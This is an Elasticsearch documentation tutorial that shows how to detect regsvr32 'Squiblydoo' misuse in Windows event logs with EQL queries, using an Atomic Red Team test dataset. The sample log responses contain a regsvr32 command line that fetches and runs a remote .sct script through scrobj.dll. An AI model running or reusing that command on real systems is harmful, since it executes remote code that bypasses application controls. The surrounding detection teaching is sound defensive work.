detect-threats-with-eql.asciidoc 13 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255256257258259260261262263264265266267268269270271272273274275276277278279280281282283284285286287288289290291292293294295296297298299300301302303304305306307308309310311312313314315316317318319320321322323324325326327328329330331332333334335336337338339340341342343344345346347348349350351352353354355356357358359360361362363364365366367368369370371372373374375376377378379380381382383384385386387388389390391392393394395396397398399400401402403404405406407408409410411412413414415416417418419420421422
  1. [role="xpack"]
  2. [testenv="basic"]
  3. [[eql-ex-threat-detection]]
  4. == Example: Detect threats with EQL
  5. experimental::[]
  6. This example tutorial shows you how you can use EQL to detect security threats
  7. and other suspicious behavior.
  8. In the scenario, you're tasked with detecting
  9. https://attack.mitre.org/techniques/T1218/010/[`regsvr32` misuse] in Windows event
  10. logs. `regsvr32` misuse is a known adversary technique documented in the
  11. https://attack.mitre.org[MITRE ATT&CK®] knowledge base.
  12. [discrete]
  13. [[eql-ex-threat-detection-setup]]
  14. === Setup
  15. This tutorial uses a test dataset for `regsvr32` misuse from
  16. https://github.com/redcanaryco/atomic-red-team[Atomic Red Team]. The dataset has
  17. been normalized and mapped to use fields from the {ecs-ref}[Elastic Common
  18. Schema (ECS)], including the `@timestamp` and `event.category` fields. The
  19. dataset includes events that imitate behaviors related to `regsvr32` misuse, as
  20. documented by MITRE ATT&CK®.
  21. To get started, download and index the dataset:
  22. . Download the https://raw.githubusercontent.com/elastic/elasticsearch/{branch}/docs/src/test/resources/normalized-T1117-AtomicRed-regsvr32.json[`normalized-T1117-AtomicRed-regsvr32.json`] dataset.
  23. . Index the data into `my-index-000001` with the following <<docs-bulk,bulk
  24. API>> request:
  25. +
  26. [source,sh]
  27. ----
  28. curl -H "Content-Type: application/json" -XPOST "localhost:9200/my-index-000001/_bulk?pretty&refresh" --data-binary "@normalized-T1117-AtomicRed-regsvr32.json"
  29. ----
  30. // NOTCONSOLE
  31. . Use the <<cat-indices,cat indices API>> to verify the data was successfully
  32. indexed.
  33. +
  34. [source,console]
  35. ----
  36. GET /_cat/indices/my-index-000001?v&h=health,status,index,docs.count
  37. ----
  38. // TEST[setup:atomic_red_regsvr32]
  39. +
  40. The API response should show a `docs.count` value of `150`, indicating 150
  41. documents were indexed.
  42. +
  43. [source,txt]
  44. ----
  45. health status index docs.count
  46. yellow open my-index-000001 150
  47. ----
  48. // TESTRESPONSE[non_json]
  49. [discrete]
  50. [[eql-ex-get-a-count-of-regsvr32-events]]
  51. === Get a count of `regsvr32` events
  52. Since you're looking for `regsvr32` misuse, start by getting a count of any
  53. events associated with a `regsvr32.exe` process.
  54. The following <<eql-search-api,EQL search API>> request uses an EQL query to
  55. retrieve a count of events with a `process.name` of `regsvr32.exe`. The query
  56. starts with the <<eql-syntax-match-any-event-category,`any where` keywords>>,
  57. meaning the query can match events of any <<eql-required-fields,event
  58. category>>.
  59. [source,console]
  60. ----
  61. GET /my-index-000001/_eql/search?filter_path=-hits.events <1>
  62. {
  63. "query": """
  64. any where process.name == "regsvr32.exe" <2>
  65. """,
  66. "size": 200 <3>
  67. }
  68. ----
  69. // TEST[setup:atomic_red_regsvr32]
  70. <1> Uses the `?filter_path=-hits.events` query parameter to exclude the
  71. `hits.events` property from the response. The `hits.events` property contains
  72. the document source for any matching events. This request is intended to
  73. retrieve a count of events only.
  74. <2> Uses an EQL query to match events with a `process.name` of `regsvr32.exe`.
  75. <3> Returns up to 200 events or sequences matching the EQL query.
  76. The request returns the following response, indicating that 143 events match the
  77. query.
  78. [source,console-result]
  79. ----
  80. {
  81. "is_partial": false,
  82. "is_running": false,
  83. "took": 60,
  84. "timed_out": false,
  85. "hits": {
  86. "total": {
  87. "value": 143,
  88. "relation": "eq"
  89. }
  90. }
  91. }
  92. ----
  93. // TESTRESPONSE[s/"took": 60/"took": $body.took/]
  94. [discrete]
  95. [[eql-ex-check-for-command-line-artifacts]]
  96. === Check for command line artifacts
  97. Based on your previous query, you know `regsvr32` processes were associated with
  98. 143 events. But how was `regsvr32.exe` first called? And who called it?
  99. `regsvr32` is a command-line utility so it may help to narrow your results to
  100. processes where the command line was used.
  101. Update the previous EQL query as follows:
  102. * Change the `any` keyword to `process`. This limits matches to events with an
  103. `event.category` of `process`.
  104. * Add the `and process.command_line.keyword != null` condition to match only
  105. events with a command line value.
  106. You'll also need to remove the `filter_path=-hits.events` query parameter. This
  107. lets you retrieve the document source for any matching events.
  108. [source,console]
  109. ----
  110. GET /my-index-000001/_eql/search
  111. {
  112. "query": """
  113. process where process.name == "regsvr32.exe" and process.command_line.keyword != null
  114. """
  115. }
  116. ----
  117. // TEST[setup:atomic_red_regsvr32]
  118. The query matches one process event. The event has an `event.type` of
  119. `creation`, indicating the start of a `regsvr32.exe` process.
  120. Based on the `process.command_line` value in the response, `regsvr32.exe` used
  121. `scrobj.dll` to register a script, `RegSvr32.sct`. This fits the behavior of a
  122. https://attack.mitre.org/techniques/T1218/010/["Squiblydoo" attack], a known
  123. variant of `regsvr32` misuse.
  124. The response also includes other valuable information about how the
  125. `regsvr32.exe` process started, such as the `@timestamp`, the associated
  126. `user.id`, and the `process.parent.name`.
  127. [source,console-result]
  128. ----
  129. {
  130. "is_partial": false,
  131. "is_running": false,
  132. "took": 21,
  133. "timed_out": false,
  134. "hits": {
  135. "total": {
  136. "value": 1,
  137. "relation": "eq"
  138. },
  139. "events": [
  140. {
  141. "_index": "my-index-000001",
  142. "_id": "gl5MJXMBMk1dGnErnBW8",
  143. "_source": {
  144. "process": {
  145. "parent": {
  146. "name": "cmd.exe",
  147. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  148. "executable": "C:\\Windows\\System32\\cmd.exe"
  149. },
  150. "name": "regsvr32.exe",
  151. "pid": 2012,
  152. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  153. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  154. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  155. "ppid": 2652
  156. },
  157. "logon_id": 217055,
  158. "@timestamp": 131883573237130000,
  159. "event": {
  160. "category": "process",
  161. "type": "creation"
  162. },
  163. "user": {
  164. "full_name": "bob",
  165. "domain": "ART-DESKTOP",
  166. "id": "ART-DESKTOP\\bob"
  167. }
  168. }
  169. }
  170. ]
  171. }
  172. }
  173. ----
  174. // TESTRESPONSE[s/"took": 21/"took": $body.took/]
  175. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  176. [discrete]
  177. [[eql-ex-check-for-malicious-script-loads]]
  178. === Check for malicious script loads
  179. You now know that a `regsvr32.exe` process was used to register a potentially
  180. malicious script, `RegSvr32.sct`. Next, see if `regsvr32.exe` later loads the
  181. `scrob.dll` library.
  182. Modify the previous EQL query as follows:
  183. * Change the `process` keyword to `library`.
  184. * Replace the `process.command_line.keyword != null` condition with
  185. `dll.name == "scrobj.dll`.
  186. [source,console]
  187. ----
  188. GET /my-index-000001/_eql/search
  189. {
  190. "query": """
  191. library where process.name == "regsvr32.exe" and dll.name == "scrobj.dll"
  192. """
  193. }
  194. ----
  195. // TEST[setup:atomic_red_regsvr32]
  196. The query matches an event, confirming `scrobj.dll` was later loaded by
  197. `regsvr32.exe`.
  198. [source,console-result]
  199. ----
  200. {
  201. "is_partial": false,
  202. "is_running": false,
  203. "took": 5,
  204. "timed_out": false,
  205. "hits": {
  206. "total": {
  207. "value": 1,
  208. "relation": "eq"
  209. },
  210. "events": [
  211. {
  212. "_index": "my-index-000001",
  213. "_id": "ol5MJXMBMk1dGnErnBW8",
  214. "_source": {
  215. "process": {
  216. "name": "regsvr32.exe",
  217. "pid": 2012,
  218. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  219. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  220. },
  221. "@timestamp": 131883573237450016,
  222. "dll": {
  223. "path": "C:\\Windows\\System32\\scrobj.dll",
  224. "name": "scrobj.dll"
  225. },
  226. "event": {
  227. "category": "library"
  228. }
  229. }
  230. }
  231. ]
  232. }
  233. }
  234. ----
  235. // TESTRESPONSE[s/"took": 5/"took": $body.took/]
  236. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.events.0._id/]
  237. [discrete]
  238. [[eql-ex-detemine-likelihood-of-sucess]]
  239. === Determine likelihood of success
  240. In many cases, malicious scripts are used to connect to remote servers or
  241. download other files. If this occurred, the attack might have succeeded.
  242. Use an <<eql-sequences,EQL sequence query>> to check for the following series of
  243. events, in order:
  244. . A `regsvr32.exe` process, which could have been used to register malicious
  245. scripts as `scrobj.dll`
  246. . A load of the `scrobj.dll` library by the same process
  247. . Any network event by the same process, which could indicate the download of a
  248. remote file
  249. To match, each event in the sequence must share the same process ID, recorded in
  250. the `process.pid` field.
  251. Based on the command line value seen in the previous result, you can expect to
  252. find a match. However, the sequence query isn't designed for that specific
  253. command. Instead, it looks for a pattern of suspicious behavior while still
  254. being generic enough to detect similar threats in the future.
  255. [source,console]
  256. ----
  257. GET /my-index-000001/_eql/search
  258. {
  259. "query": """
  260. sequence by process.pid
  261. [process where process.name == 'regsvr32.exe']
  262. [library where dll.name == 'scrobj.dll']
  263. [network where true]
  264. """
  265. }
  266. ----
  267. // TEST[setup:atomic_red_regsvr32]
  268. The query matches a sequence, indicating the attack likely succeeded.
  269. [source,console-result]
  270. ----
  271. {
  272. "is_partial": false,
  273. "is_running": false,
  274. "took": 25,
  275. "timed_out": false,
  276. "hits": {
  277. "total": {
  278. "value": 1,
  279. "relation": "eq"
  280. },
  281. "sequences": [
  282. {
  283. "join_keys": [
  284. 2012
  285. ],
  286. "events": [
  287. {
  288. "_index": "my-index-000001",
  289. "_id": "gl5MJXMBMk1dGnErnBW8",
  290. "_source": {
  291. "process": {
  292. "parent": {
  293. "name": "cmd.exe",
  294. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010AA385401}",
  295. "executable": "C:\\Windows\\System32\\cmd.exe"
  296. },
  297. "name": "regsvr32.exe",
  298. "pid": 2012,
  299. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  300. "command_line": "regsvr32.exe /s /u /i:https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1117/RegSvr32.sct scrobj.dll",
  301. "executable": "C:\\Windows\\System32\\regsvr32.exe",
  302. "ppid": 2652
  303. },
  304. "logon_id": 217055,
  305. "@timestamp": 131883573237130000,
  306. "event": {
  307. "category": "process",
  308. "type": "creation"
  309. },
  310. "user": {
  311. "full_name": "bob",
  312. "domain": "ART-DESKTOP",
  313. "id": "ART-DESKTOP\\bob"
  314. }
  315. }
  316. },
  317. {
  318. "_index": "my-index-000001",
  319. "_id": "ol5MJXMBMk1dGnErnBW8",
  320. "_source": {
  321. "process": {
  322. "name": "regsvr32.exe",
  323. "pid": 2012,
  324. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  325. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  326. },
  327. "@timestamp": 131883573237450016,
  328. "dll": {
  329. "path": "C:\\Windows\\System32\\scrobj.dll",
  330. "name": "scrobj.dll"
  331. },
  332. "event": {
  333. "category": "library"
  334. }
  335. }
  336. },
  337. {
  338. "_index": "my-index-000001",
  339. "_id": "EF5MJXMBMk1dGnErnBa9",
  340. "_source": {
  341. "process": {
  342. "name": "regsvr32.exe",
  343. "pid": 2012,
  344. "entity_id": "{42FC7E13-CBCB-5C05-0000-0010A0395401}",
  345. "executable": "C:\\Windows\\System32\\regsvr32.exe"
  346. },
  347. "@timestamp": 131883573238680000,
  348. "destination": {
  349. "address": "151.101.48.133",
  350. "port": "443"
  351. },
  352. "source": {
  353. "address": "192.168.162.134",
  354. "port": "50505"
  355. },
  356. "event": {
  357. "category": "network"
  358. },
  359. "user": {
  360. "full_name": "bob",
  361. "domain": "ART-DESKTOP",
  362. "id": "ART-DESKTOP\\bob"
  363. },
  364. "network": {
  365. "protocol": "tcp",
  366. "direction": "outbound"
  367. }
  368. }
  369. }
  370. ]
  371. }
  372. ]
  373. }
  374. }
  375. ----
  376. // TESTRESPONSE[s/"took": 25/"took": $body.took/]
  377. // TESTRESPONSE[s/"_id": "gl5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.0._id/]
  378. // TESTRESPONSE[s/"_id": "ol5MJXMBMk1dGnErnBW8"/"_id": $body.hits.sequences.0.events.1._id/]
  379. // TESTRESPONSE[s/"_id": "EF5MJXMBMk1dGnErnBa9"/"_id": $body.hits.sequences.0.events.2._id/]